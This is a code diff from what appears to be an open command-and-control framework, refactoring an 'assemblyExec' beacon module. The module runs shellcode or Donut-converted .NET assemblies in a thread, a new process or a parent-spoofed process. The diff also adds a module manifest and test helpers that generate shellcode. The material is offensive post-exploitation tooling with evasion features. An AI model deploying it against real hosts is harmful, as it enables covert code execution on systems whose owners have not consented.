info += " - assemblyExec -d ./test.dll MethodName arg1 arg2\n";
|
||||
info += " - assemblyExec --mode process --raw ./shellcode.bin\n";
|
||||
info += " - assemblyExec --mode thread --donut-exe ./Seatbelt.exe -- -group=system\n";
|
||||
info += " - assemblyExec --mode process --donut-dll ./test.dll --method MethodName -- arg1 arg2\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
|
||||
#define modeThread "0"
|
||||
#define modeProcess "1"
|
||||
#define modeprocessWithSpoofedParent "2"
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
namespace
|
||||
{
|
||||
std::string modeWireValue(const std::string& mode)
|
||||
{
|
||||
const std::string normalized = assembly_exec_command::normalizeModeName(mode);
|
||||
if (normalized == "thread")
|
||||
return modeThread;
|
||||
if (normalized == "processWithSpoofedParent")
|
||||
return modeprocessWithSpoofedParent;
|
||||
return modeProcess;
|
||||
}
|
||||
|
||||
std::string readBinaryFile(const std::string& path)
|
||||
{
|
||||
std::ifstream input(path, std::ios::binary);
|
||||
return std::string(std::istreambuf_iterator<char>(input), std::istreambuf_iterator<char>());
|
||||
}
|
||||
} // namespace
|
||||
|
||||
int AssemblyExec::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
|
||||
{
|
||||
if (task.payload.empty())
|
||||
{
|
||||
c2Message.set_returnvalue("Shellcode payload is empty.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::string requestedMode = task.executionMode;
|
||||
if (requestedMode.empty())
|
||||
{
|
||||
if (!m_isModeProcess)
|
||||
requestedMode = "thread";
|
||||
else if (m_isSpoofParent)
|
||||
requestedMode = "processWithSpoofedParent";
|
||||
else
|
||||
requestedMode = "process";
|
||||
}
|
||||
|
||||
const std::string mode = assembly_exec_command::normalizeModeName(requestedMode);
|
||||
if (mode.empty())
|
||||
{
|
||||
c2Message.set_returnvalue("Unsupported execution mode.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2Message.set_args(modeWireValue(mode));
|
||||
c2Message.set_pid(-1);
|
||||
c2Message.set_cmd(task.displayCommand);
|
||||
c2Message.set_instruction(std::string(moduleName));
|
||||
c2Message.set_inputfile(task.inputFile);
|
||||
c2Message.set_data(task.payload.data(), task.payload.size());
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
int AssemblyExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
if(splitedCmd.size() == 2)
|
||||
assembly_exec_command::CommandOptions options = assembly_exec_command::parseCommandOptions(splitedCmd);
|
||||
if (!options.error.empty())
|
||||
{
|
||||
if(splitedCmd[1]=="thread")
|
||||
c2Message.set_returnvalue(options.error + "\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(options.modeOnly)
|
||||
{
|
||||
if(options.mode=="thread")
|
||||
{
|
||||
m_isModeProcess = false;
|
||||
c2Message.set_returnvalue("thread mode.\n");
|
||||
return -1;
|
||||
}
|
||||
else if(splitedCmd[1]=="process")
|
||||
if(options.mode=="process")
|
||||
{
|
||||
m_isModeProcess = true;
|
||||
m_isSpoofParent = false;
|
||||
c2Message.set_returnvalue("process mode.\n");
|
||||
return -1;
|
||||
}
|
||||
else if(splitedCmd[1]=="processWithSpoofedParent")
|
||||
if(options.mode=="processWithSpoofedParent")
|
||||
{
|
||||
m_isModeProcess = true;
|
||||
m_isSpoofParent = true;
|
||||
c2Message.set_returnvalue("process mode with parent spoofing.\n");
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if (splitedCmd.size() >= 3)
|
||||
|
||||
if (options.generator != "raw")
|
||||
{
|
||||
bool donut=false;
|
||||
std::string inputFile=splitedCmd[2];
|
||||
std::string method;
|
||||
std::string args;
|
||||
int pid=-1;
|
||||
|
||||
if(splitedCmd[1]=="-e")
|
||||
{
|
||||
donut=true;
|
||||
for (int idx = 3; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]=="-d")
|
||||
{
|
||||
donut=true;
|
||||
if(splitedCmd.size() > 3)
|
||||
method=splitedCmd[3];
|
||||
else
|
||||
{
|
||||
std::string msg = "Method is mandatory for DLL.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
for (int idx = 4; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]=="-r")
|
||||
{
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string msg = "One of the tags, -r, -e or -d must be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(inputFile.empty())
|
||||
{
|
||||
std::string msg = "A file name have to be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::ifstream myfile;
|
||||
myfile.open(inputFile, std::ios::binary);
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_toolsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string msg = "Couldn't open file.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
myfile.close();
|
||||
|
||||
std::string payload;
|
||||
if(donut)
|
||||
{
|
||||
// if we create a process we need to exite process with donut shellcode
|
||||
// Otherwise we exite the threadd
|
||||
creatShellCodeDonut(inputFile, method, args, payload, true, false, m_windowsArch);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
std::string payload_(std::istreambuf_iterator<char>(input), {});
|
||||
payload=payload_;
|
||||
}
|
||||
|
||||
if(payload.size()==0)
|
||||
{
|
||||
std::string msg = "Something went wrong. Payload empty.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::string cmd;
|
||||
for (int idx = 1; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
cmd+=splitedCmd[idx];
|
||||
cmd+=" ";
|
||||
}
|
||||
|
||||
if(m_isModeProcess == false)
|
||||
c2Message.set_args(modeThread);
|
||||
else if(m_isModeProcess == true && m_isSpoofParent == false)
|
||||
c2Message.set_args(modeProcess);
|
||||
else if(m_isModeProcess == true && m_isSpoofParent == true)
|
||||
c2Message.set_args(modeprocessWithSpoofedParent);
|
||||
|
||||
c2Message.set_pid(pid);
|
||||
c2Message.set_cmd(cmd);
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
c2Message.set_returnvalue("Donut shellcode generation is handled by the TeamServer shellcode service.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::string inputFile = options.sourcePath;
|
||||
std::ifstream myfile(inputFile, std::ios::binary);
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_toolsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
c2Message.set_returnvalue("Couldn't open file.\n");
|
||||
return -1;
|
||||
}
|
||||
myfile.close();
|
||||
|
||||
ModulePreparedShellcodeTask task;
|
||||
task.inputFile = inputFile;
|
||||
task.payload = readBinaryFile(inputFile);
|
||||
task.executionMode = options.mode;
|
||||
task.displayCommand = options.displayCommand;
|
||||
return initPreparedShellcode(task, c2Message);
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
@@ -549,19 +519,62 @@ int AssemblyExec::createNewThread(const std::string& payload, std::string& resul
|
||||
}
|
||||
|
||||
HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0);
|
||||
if (thread == NULL)
|
||||
{
|
||||
stdCapture.EndCapture();
|
||||
result += "Error: Thread failed to start.\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess");
|
||||
HANDLE phHwBpHandler;
|
||||
int indexHWBP = 0;
|
||||
set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler);
|
||||
if (baseAddress != NULL)
|
||||
set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler);
|
||||
|
||||
if (thread != NULL)
|
||||
ResumeThread(thread);
|
||||
ResumeThread(thread);
|
||||
|
||||
WaitForSingleObject(thread, maxDurationShellCode*1000);
|
||||
DWORD waitStatus = WAIT_TIMEOUT;
|
||||
const auto begin = std::chrono::steady_clock::now();
|
||||
for (;;)
|
||||
{
|
||||
waitStatus = WaitForSingleObject(thread, 50);
|
||||
stdCapture.DrainCapture();
|
||||
if (waitStatus != WAIT_TIMEOUT)
|
||||
break;
|
||||
|
||||
const auto now = std::chrono::steady_clock::now();
|
||||
const auto elapsed = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
|
||||
if (elapsed >= maxDurationShellCode)
|
||||
break;
|
||||
}
|
||||
|
||||
stdCapture.EndCapture();
|
||||
result+=stdCapture.GetCapture();
|
||||
const std::string capturedOutput = stdCapture.GetCapture();
|
||||
if (!capturedOutput.empty())
|
||||
{
|
||||
result += "Stdout:\n";
|
||||
result += capturedOutput;
|
||||
result += "\n";
|
||||
}
|
||||
|
||||
if (waitStatus == WAIT_FAILED)
|
||||
{
|
||||
result += "Error: Thread wait failed.\n";
|
||||
if (thread != NULL)
|
||||
CloseHandle(thread);
|
||||
return -1;
|
||||
}
|
||||
if (waitStatus == WAIT_TIMEOUT)
|
||||
{
|
||||
result += "Error: Thread execution timed out.\n";
|
||||
if (thread != NULL)
|
||||
CloseHandle(thread);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (thread != NULL)
|
||||
CloseHandle(thread);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -17,6 +17,9 @@ public:
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override;
|
||||
#endif
|
||||
int initConfig(const nlohmann::json &config);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override;
|
||||
@@ -80,4 +83,3 @@ extern "C" __declspec(dllexport) AssemblyExec * A_AssemblyExecConstructor();
|
||||
extern "C" __attribute__((visibility("default"))) AssemblyExec * AssemblyExecConstructor();
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -0,0 +1,178 @@
|
||||
#pragma once
|
||||
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
#include <cstddef>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace assembly_exec_command
|
||||
{
|
||||
struct CommandOptions
|
||||
{
|
||||
std::string mode;
|
||||
std::string generator = "raw";
|
||||
std::string sourceType = "raw";
|
||||
std::string sourcePath;
|
||||
std::string method;
|
||||
std::string arguments;
|
||||
std::string displayCommand;
|
||||
std::string error;
|
||||
bool modeOnly = false;
|
||||
};
|
||||
|
||||
inline std::string lowerCopy(std::string value)
|
||||
{
|
||||
std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c)
|
||||
{
|
||||
return static_cast<char>(std::tolower(c));
|
||||
});
|
||||
return value;
|
||||
}
|
||||
|
||||
inline std::string joinCommandTail(const std::vector<std::string>& parts, size_t start)
|
||||
{
|
||||
std::string result;
|
||||
for (size_t index = start; index < parts.size(); ++index)
|
||||
{
|
||||
if (!result.empty())
|
||||
result += " ";
|
||||
result += parts[index];
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
inline bool isModeName(const std::string& value)
|
||||
{
|
||||
const std::string lowered = lowerCopy(value);
|
||||
return lowered == "thread" || lowered == "process" || lowered == "processwithspoofedparent";
|
||||
}
|
||||
|
||||
inline std::string normalizeModeName(const std::string& value)
|
||||
{
|
||||
const std::string lowered = lowerCopy(value);
|
||||
if (lowered == "thread")
|
||||
return "thread";
|
||||
if (lowered == "process")
|
||||
return "process";
|
||||
if (lowered == "processwithspoofedparent")
|
||||
return "processWithSpoofedParent";
|
||||
return "";
|
||||
}
|
||||
|
||||
inline CommandOptions parseCommandOptions(const std::vector<std::string>& tokens)
|
||||
{
|
||||
CommandOptions options;
|
||||
options.displayCommand = joinCommandTail(tokens, 1);
|
||||
|
||||
if (tokens.size() == 2 && isModeName(tokens[1]))
|
||||
{
|
||||
options.mode = normalizeModeName(tokens[1]);
|
||||
options.modeOnly = true;
|
||||
return options;
|
||||
}
|
||||
|
||||
for (size_t index = 1; index < tokens.size(); ++index)
|
||||
{
|
||||
const std::string& token = tokens[index];
|
||||
if (token == "--")
|
||||
{
|
||||
options.arguments = joinCommandTail(tokens, index + 1);
|
||||
break;
|
||||
}
|
||||
if (token == "--mode")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = "--mode requires a value.";
|
||||
return options;
|
||||
}
|
||||
options.mode = normalizeModeName(tokens[index]);
|
||||
if (options.mode.empty())
|
||||
{
|
||||
options.error = "Unsupported execution mode.";
|
||||
return options;
|
||||
}
|
||||
}
|
||||
else if (token == "--raw" || token == "-r")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = token + " requires a file path.";
|
||||
return options;
|
||||
}
|
||||
options.generator = "raw";
|
||||
options.sourceType = "raw";
|
||||
options.sourcePath = tokens[index];
|
||||
}
|
||||
else if (token == "--donut-exe" || token == "-e")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = token + " requires a file path.";
|
||||
return options;
|
||||
}
|
||||
options.generator = "donut";
|
||||
options.sourceType = "dotnet_exe";
|
||||
options.sourcePath = tokens[index];
|
||||
if (token == "-e")
|
||||
{
|
||||
options.arguments = joinCommandTail(tokens, index + 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (token == "--donut-dll" || token == "-d")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = token + " requires a file path.";
|
||||
return options;
|
||||
}
|
||||
options.generator = "donut";
|
||||
options.sourceType = "dotnet_dll";
|
||||
options.sourcePath = tokens[index];
|
||||
if (token == "-d")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = "Method is mandatory for DLL.";
|
||||
return options;
|
||||
}
|
||||
options.method = tokens[index];
|
||||
options.arguments = joinCommandTail(tokens, index + 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (token == "--method")
|
||||
{
|
||||
if (++index >= tokens.size())
|
||||
{
|
||||
options.error = "--method requires a value.";
|
||||
return options;
|
||||
}
|
||||
options.method = tokens[index];
|
||||
}
|
||||
else
|
||||
{
|
||||
options.error = "Unknown assemblyExec option: " + token;
|
||||
return options;
|
||||
}
|
||||
}
|
||||
|
||||
if (options.sourcePath.empty())
|
||||
{
|
||||
options.error = "A payload source must be provided.";
|
||||
return options;
|
||||
}
|
||||
if (options.sourceType == "dotnet_dll" && options.method.empty())
|
||||
{
|
||||
options.error = "Method is mandatory for DLL.";
|
||||
return options;
|
||||
}
|
||||
return options;
|
||||
}
|
||||
} // namespace assembly_exec_command
|
||||
|
||||
#endif
|
||||
@@ -39,9 +39,6 @@ endif()
|
||||
|
||||
set_property(TARGET AssemblyExec PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
|
||||
if(C2CORE_BUILD_TESTS OR C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
target_link_libraries(AssemblyExec PRIVATE Donut )
|
||||
endif()
|
||||
c2core_disable_safeseh_for_x86(AssemblyExec)
|
||||
|
||||
add_custom_command(TARGET AssemblyExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
@@ -89,9 +86,7 @@ if(C2CORE_BUILD_TESTS)
|
||||
add_executable(testOutputWriter tests/testOutputWriter.cpp)
|
||||
else()
|
||||
add_executable(testsAssemblyExec tests/testsAssemblyExec.cpp AssemblyExec.cpp)
|
||||
target_link_libraries(testsAssemblyExec PRIVATE Donut ${aplib64} )
|
||||
|
||||
add_executable(testOutputWriter tests/testOutputWriter.cpp)
|
||||
add_executable(testOutputWriter tests/testOutputWriter.cpp)
|
||||
endif()
|
||||
|
||||
add_custom_command(TARGET testsAssemblyExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
@@ -138,13 +133,12 @@ if(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
../ModuleCmd/hwbp.cpp
|
||||
)
|
||||
endif()
|
||||
target_link_libraries(testsAssemblyExecFunctional PRIVATE Donut)
|
||||
c2core_disable_safeseh_for_x86(testsAssemblyExecFunctional)
|
||||
target_link_libraries(testsAssemblyExecFunctional PRIVATE Donut)
|
||||
add_dependencies(testsAssemblyExecFunctional assemblyExecDummyExe)
|
||||
target_compile_definitions(testsAssemblyExecFunctional PRIVATE C2_ASSEMBLYEXEC_DUMMY_EXE="$<TARGET_FILE:assemblyExecDummyExe>")
|
||||
else()
|
||||
add_executable(testsAssemblyExecFunctional tests/functional/testsAssemblyExecFunctional.cpp AssemblyExec.cpp)
|
||||
target_link_libraries(testsAssemblyExecFunctional PRIVATE Donut ${aplib64})
|
||||
endif()
|
||||
|
||||
target_include_directories(testsAssemblyExecFunctional PRIVATE ../tests)
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
{
|
||||
"name": "assemblyExec",
|
||||
"display_name": "assemblyExec",
|
||||
"kind": "module",
|
||||
"description": "Execute shellcode in the current beacon using a thread, process, or spoofed-parent process mode. Donut inputs are prepared by the TeamServer shellcode service before the task is sent to the beacon.",
|
||||
"command_template": "assemblyExec [--mode {mode}] [--raw {raw:q}] [--donut-exe {donut_exe:q}] [--donut-dll {donut_dll:q}] [--method {method:q}] [-- {arguments:raw}]",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "--mode",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Execution mode. Defaults to process.",
|
||||
"values": ["thread", "process", "processWithSpoofedParent"]
|
||||
},
|
||||
{
|
||||
"name": "--raw",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Use an existing raw shellcode file on the TeamServer.",
|
||||
"artifact_filter": {
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"format": "bin",
|
||||
"name_contains": ".bin"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "--donut-exe",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Generate shellcode from a .NET executable on the TeamServer.",
|
||||
"artifact_filter": {
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"format": "exe",
|
||||
"name_contains": ".exe"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "--donut-dll",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Generate shellcode from a .NET DLL on the TeamServer.",
|
||||
"artifact_filter": {
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"format": "dll",
|
||||
"name_contains": ".dll"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "source_path",
|
||||
"type": "path",
|
||||
"required": true,
|
||||
"description": "Raw shellcode, .NET executable, or .NET DLL path on the TeamServer."
|
||||
},
|
||||
{
|
||||
"name": "--method",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Required for --donut-dll."
|
||||
},
|
||||
{
|
||||
"name": "arguments",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Arguments passed to the Donut source after --.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"assemblyExec --mode process --raw shellcode.bin",
|
||||
"assemblyExec --mode thread --donut-exe Seatbelt.exe -- -group=system",
|
||||
"assemblyExec --mode process --donut-dll Tool.dll --method EntryPoint -- arg1 arg2"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstddef>
|
||||
#include <filesystem>
|
||||
#include <fstream>
|
||||
#include <iterator>
|
||||
#include <string>
|
||||
|
||||
#if defined(_WIN32) && (defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS))
|
||||
#include <chrono>
|
||||
#include <cstring>
|
||||
|
||||
#include <donut.h>
|
||||
#endif
|
||||
|
||||
namespace assembly_exec_tests
|
||||
{
|
||||
struct GeneratedShellcode
|
||||
{
|
||||
bool ok = false;
|
||||
std::string error;
|
||||
std::filesystem::path path;
|
||||
std::string bytes;
|
||||
};
|
||||
|
||||
#if defined(_WIN32) && (defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS))
|
||||
inline int donutArch(const std::string& arch)
|
||||
{
|
||||
if (arch == "x86")
|
||||
return DONUT_ARCH_X86;
|
||||
if (arch == "arm64")
|
||||
return DONUT_ARCH_ARM64;
|
||||
return DONUT_ARCH_X64;
|
||||
}
|
||||
|
||||
inline bool copyBounded(char* destination, std::size_t destinationSize, const std::string& value)
|
||||
{
|
||||
if (destinationSize == 0 || value.size() >= destinationSize)
|
||||
return false;
|
||||
std::memcpy(destination, value.c_str(), value.size());
|
||||
destination[value.size()] = '\0';
|
||||
return true;
|
||||
}
|
||||
|
||||
inline std::filesystem::path tempShellcodePath()
|
||||
{
|
||||
const auto suffix = std::chrono::steady_clock::now().time_since_epoch().count();
|
||||
return std::filesystem::temp_directory_path() / ("c2-assemblyexec-test-" + std::to_string(suffix) + ".bin");
|
||||
}
|
||||
|
||||
inline GeneratedShellcode generateDonutShellcodeForTest(
|
||||
const std::string& sourcePath,
|
||||
const std::string& method,
|
||||
const std::string& arguments,
|
||||
const std::string& arch,
|
||||
bool exitProcess)
|
||||
{
|
||||
GeneratedShellcode result;
|
||||
result.path = tempShellcodePath();
|
||||
|
||||
DONUT_CONFIG config;
|
||||
std::memset(&config, 0, sizeof(config));
|
||||
config.inst_type = DONUT_INSTANCE_EMBED;
|
||||
config.arch = donutArch(arch);
|
||||
config.bypass = DONUT_BYPASS_CONTINUE;
|
||||
config.format = DONUT_FORMAT_BINARY;
|
||||
config.compress = DONUT_COMPRESS_NONE;
|
||||
config.entropy = DONUT_ENTROPY_DEFAULT;
|
||||
config.headers = DONUT_HEADERS_OVERWRITE;
|
||||
config.exit_opt = exitProcess ? DONUT_OPT_EXIT_PROCESS : DONUT_OPT_EXIT_THREAD;
|
||||
config.thread = 0;
|
||||
config.unicode = 0;
|
||||
|
||||
if (!copyBounded(config.input, sizeof(config.input), sourcePath)
|
||||
|| !copyBounded(config.output, sizeof(config.output), result.path.string())
|
||||
|| !copyBounded(config.method, sizeof(config.method), method)
|
||||
|| !copyBounded(config.args, sizeof(config.args), arguments))
|
||||
{
|
||||
result.error = "Donut test input, output, method or arguments are too long.";
|
||||
return result;
|
||||
}
|
||||
|
||||
const int err = DonutCreate(&config);
|
||||
if (err != DONUT_ERROR_OK)
|
||||
{
|
||||
result.error = "Donut test error: ";
|
||||
result.error += DonutError(err);
|
||||
return result;
|
||||
}
|
||||
|
||||
std::ifstream input(result.path, std::ios::binary);
|
||||
result.bytes.assign(std::istreambuf_iterator<char>(input), std::istreambuf_iterator<char>());
|
||||
DonutDelete(&config);
|
||||
|
||||
if (result.bytes.empty())
|
||||
{
|
||||
result.error = "Donut test generated an empty shellcode payload.";
|
||||
return result;
|
||||
}
|
||||
|
||||
result.ok = true;
|
||||
return result;
|
||||
}
|
||||
#else
|
||||
inline GeneratedShellcode generateDonutShellcodeForTest(
|
||||
const std::string&,
|
||||
const std::string&,
|
||||
const std::string&,
|
||||
const std::string&,
|
||||
bool)
|
||||
{
|
||||
GeneratedShellcode result;
|
||||
result.error = "Donut shellcode generation is only available in Windows assemblyExec tests.";
|
||||
return result;
|
||||
}
|
||||
#endif
|
||||
} // namespace assembly_exec_tests
|
||||
@@ -1,4 +1,5 @@
|
||||
#include "../../AssemblyExec.hpp"
|
||||
#include "../AssemblyExecTestShellcodeGenerator.hpp"
|
||||
#include "../../../tests/FunctionalTestHelpers.hpp"
|
||||
|
||||
#include <filesystem>
|
||||
@@ -44,6 +45,17 @@ std::string normalizeKind(const std::string& kind)
|
||||
}
|
||||
return "exe";
|
||||
}
|
||||
|
||||
std::string currentWindowsArch()
|
||||
{
|
||||
#if defined(_M_ARM64) || defined(__aarch64__)
|
||||
return "arm64";
|
||||
#elif defined(_M_IX86) || defined(__i386__)
|
||||
return "x86";
|
||||
#else
|
||||
return "x64";
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
@@ -107,33 +119,51 @@ int main(int argc, char** argv)
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::vector<std::string> command = {"assemblyExec"};
|
||||
C2Message message;
|
||||
std::filesystem::path generatedPath;
|
||||
if (kind == "raw")
|
||||
{
|
||||
command.push_back("-r");
|
||||
command.push_back(payload);
|
||||
}
|
||||
else if (kind == "dll")
|
||||
{
|
||||
command.push_back("-d");
|
||||
command.push_back(payload);
|
||||
command.push_back(method);
|
||||
std::vector<std::string> command = {"assemblyExec", "--mode", mode, "--raw", payload};
|
||||
if (module.init(command, message) != 0)
|
||||
{
|
||||
std::cerr << "testsAssemblyExecFunctional init failed:\n" << message.returnvalue() << '\n';
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
command.push_back("-e");
|
||||
command.push_back(payload);
|
||||
}
|
||||
if (!arguments.empty())
|
||||
{
|
||||
command.push_back(arguments);
|
||||
}
|
||||
const bool exitProcess = mode != "thread";
|
||||
assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest(
|
||||
payload,
|
||||
kind == "dll" ? method : "",
|
||||
arguments,
|
||||
currentWindowsArch(),
|
||||
exitProcess);
|
||||
if (!generated.ok)
|
||||
{
|
||||
#ifndef _WIN32
|
||||
std::cout << "testsAssemblyExecFunctional skipped: " << generated.error << '\n';
|
||||
return skipReturnCode;
|
||||
#else
|
||||
std::cerr << "testsAssemblyExecFunctional Donut preparation failed:\n" << generated.error << '\n';
|
||||
return 1;
|
||||
#endif
|
||||
}
|
||||
|
||||
C2Message message;
|
||||
if (module.init(command, message) != 0)
|
||||
{
|
||||
std::cerr << "testsAssemblyExecFunctional init failed:\n" << message.returnvalue() << '\n';
|
||||
return 1;
|
||||
generatedPath = generated.path;
|
||||
ModulePreparedShellcodeTask task;
|
||||
task.inputFile = generated.path.string();
|
||||
task.payload = generated.bytes;
|
||||
task.executionMode = mode;
|
||||
task.displayCommand = kind == "dll"
|
||||
? "--mode " + mode + " --donut-dll " + payload + " --method " + method + " -- " + arguments
|
||||
: "--mode " + mode + " --donut-exe " + payload + " -- " + arguments;
|
||||
if (module.initPreparedShellcode(task, message) != 0)
|
||||
{
|
||||
std::cerr << "testsAssemblyExecFunctional prepared init failed:\n" << message.returnvalue() << '\n';
|
||||
std::filesystem::remove(generatedPath);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
std::cout << "testsAssemblyExecFunctional init OK\n";
|
||||
@@ -143,6 +173,10 @@ int main(int argc, char** argv)
|
||||
if (!execute)
|
||||
{
|
||||
std::cout << "execution skipped; pass --execute to run the module process path.\n";
|
||||
if (!generatedPath.empty())
|
||||
{
|
||||
std::filesystem::remove(generatedPath);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -163,5 +197,9 @@ int main(int argc, char** argv)
|
||||
C2Message result;
|
||||
module.process(message, result);
|
||||
std::cout << result.returnvalue() << '\n';
|
||||
if (!generatedPath.empty())
|
||||
{
|
||||
std::filesystem::remove(generatedPath);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -1,11 +1,18 @@
|
||||
#include "../AssemblyExec.hpp"
|
||||
#include "AssemblyExecTestShellcodeGenerator.hpp"
|
||||
#include "../../tests/TestHelpers.hpp"
|
||||
|
||||
#include <filesystem>
|
||||
#include <cstdio>
|
||||
#include <cstring>
|
||||
#include <iostream>
|
||||
